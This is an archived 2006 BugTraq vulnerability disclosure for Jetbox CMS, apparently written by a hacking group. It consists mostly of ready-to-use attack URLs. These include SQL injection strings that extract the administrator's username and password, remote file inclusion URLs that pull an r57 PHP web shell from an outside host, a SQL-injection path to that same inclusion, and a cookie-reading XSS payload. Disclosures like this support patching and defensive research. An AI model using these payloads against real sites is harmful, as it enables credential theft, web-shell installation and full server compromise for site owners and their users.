BugTraq
Multible injections and vulnerabilities in Jetbox CMS Sep 09 2006 02:25PM
security soqor net
Hello,,

Multible Injections in Jetbox CMS

Discovered By : HACKERS PAL & mohajali

Copy rights : HACKERS PAL & mohajali

Website : http://www.soqor.net

Email Address : security (at) soqor (dot) net [email concealed]

This Contains multible injections and vulnerabilities in Jetbox CMS

/*********************************************************************/

sql injections

if magic_quotes_gpc = off

index.php?view=-1'%20union%20select%201,tablename,3,4,5,6,7,8,9,10,11,12
%20from%20navigation%20where%20'1'='1

and see the error for the including

for index.php?view=-1'%20union%20select%201,login,3,4,5,6,7,8,9,10,11,12%20f
rom%20user%20where%20uid=1/*

you will see like

Warning: main(admin)

and index.php?view=-1'%20union%20select%201,user_password,3,4,5,6,7,8,9,10,1
1,12%20from%20user%20where%20uid=1/*

it will be like

Warning: main(admin1)

that means admin is the username and admin1 is the password

- - - - - - - -

index.php?view=outputs&item=-1'%20union%20SELECT%201,2,3,4,5,6,7,8,login
,user_password,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20user%2
0where%20uid=1/*

Click view source ,,

you will see somthing like this

<meta name="keywords" content="admin">

<meta name="description" content="admin1">

the first is 'admin' it's the user name for the administrator and the second is 'admin1' it's the password

/*********************************************************************/

Remote file including

includes/phpthumb.php?src=1&includes_path=http://www.soqor.net/tools/r57
.txt?

includes/phpdig/includes/config.php?relative_script_path=http://www.soqo
r.net/tools/r57.txt?

and this sql injection can be used for file inclusion if magic_quotes_gpc = off

index.php?view=-1'%20union%20select%201,'http://www.soqor.net/tools/r57.
txt?',3,4,5,6,7,8,9,10,11,12%20from%20navigation%20where%20'1'='1

/*********************************************************************/

xss are too many

Example ,,

includes/phpthumb.php?OriginalImageData=<script>alert(document.cookie);<
/script>

/*********************************************************************/

Full path disclore,,

Try To open any file directly by the browser

/*********************************************************************/

WwW.SoQoR.NeT

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus